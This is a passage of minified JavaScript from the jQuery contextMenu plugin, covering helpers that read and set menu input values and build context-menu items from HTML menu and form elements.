.context-menu-list").remove();break;case"html5":(!$.support.htmlCommand&&!$.support.htmlMenuitem||"boolean"==typeof options&&options)&&$('menu[type="context"]').each(function(){this.id&&$.contextMenu({selector:"[contextmenu="+this.id+"]",items:$.contextMenu.fromMenu(this)})}).css("display","none");break;default:throw new Error('Unknown operation "'+operation+'"')}return this},$.contextMenu.setInputValues=function(opt,data){void 0===data&&(data={}),$.each(opt.inputs,function(key,item){switch(item.type){case"text":case"textarea":item.value=data[key]||"";break;case"checkbox":item.selected=!!data[key];break;case"radio":item.selected=(data[item.radio]||"")===item.value;break;case"select":item.selected=data[key]||""}})},$.contextMenu.getInputValues=function(opt,data){return void 0===data&&(data={}),$.each(opt.inputs,function(key,item){switch(item.type){case"text":case"textarea":case"select":data[key]=item.$input.val();break;case"checkbox":data[key]=item.$input.prop("checked");break;case"radio":item.$input.prop("checked")&&(data[item.radio]=item.value)}}),data},$.contextMenu.fromMenu=function(element){var items={};return function menuChildren(items,$children,counter){return counter=counter||0,$children.each(function(){var label,item,$node=$(this),node=this,nodeName=this.nodeName.toLowerCase();switch("label"===nodeName&&$node.find("input, textarea, select").length&&(label=$node.text(),nodeName=(node=($node=$node.children().first()).get(0)).nodeName.toLowerCase()),nodeName){case"menu":item={name:$node.attr("label"),items:{}},counter=menuChildren(item.items,$node.children(),counter);break;case"a":case"button":item={name:$node.text(),disabled:!!$node.attr("disabled"),callback:function(){$node.get(0).click()}};break;case"menuitem":case"command":switch($node.attr("type")){case void 0:case"command":case"menuitem":item={name:$node.attr("label"),disabled:!!$node.attr("disabled"),icon:$node.attr("icon"),callback:function(){$node.get(0).click()}};break;case"checkbox":item={type:"checkbox",disabled:!!$node.attr("disabled"),name:$node.attr("label"),selected:!!$node.attr("checked")};break;case"radio":item={type:"radio",disabled:!!$node.attr("disabled"),name:$node.attr("label"),radio:$node.attr("radiogroup"),value:$node.attr("id"),selected:!!$node.attr("checked")};break;default:item=void 0}break;case"hr":item="-------";break;case"input":switch($node.attr("type")){case"text":item={type:"text",name:label||inputLabel(node),disabled:!!$node.attr("disabled"),value:$node.val()};break;case"checkbox":item={type:"checkbox",name:label||inputLabel(node),disabled:!!$node.attr("disabled"),selected:!!$node.attr("checked")};break;case"radio":item={type:"radio",name:label||inputLabel(node),disabled:!!$node.attr("disabled"),radio:!!$node.attr("name"),value:$node.val(),selected:!!$node.attr("checked")};break;default:item=void 0}break;case"select":item={type:"select",name:label||inputLabel(node),disabled:!!$node.attr("disabled"),selected:$node.val(),options:{}},$node.children().each(function(){item.options[this.value]=$(this).text()});break;case"textarea":item={type:"textarea",name:label||inputLabel(node),disabled:!!$node.attr("disabled"),value:$node.val()};break;case"label":break;default:item={type:"html",html:$node.clone(!0)}}item&&(items["key"+ ++counter]=item)}),counter}(items,$(element).children()),items},$.contextMenu.defaults=defaults,$.contextMenu.types=types,$.contextMenu.handle=handle,$.contextMenu.op=op,$.contextMenu.menus=menus});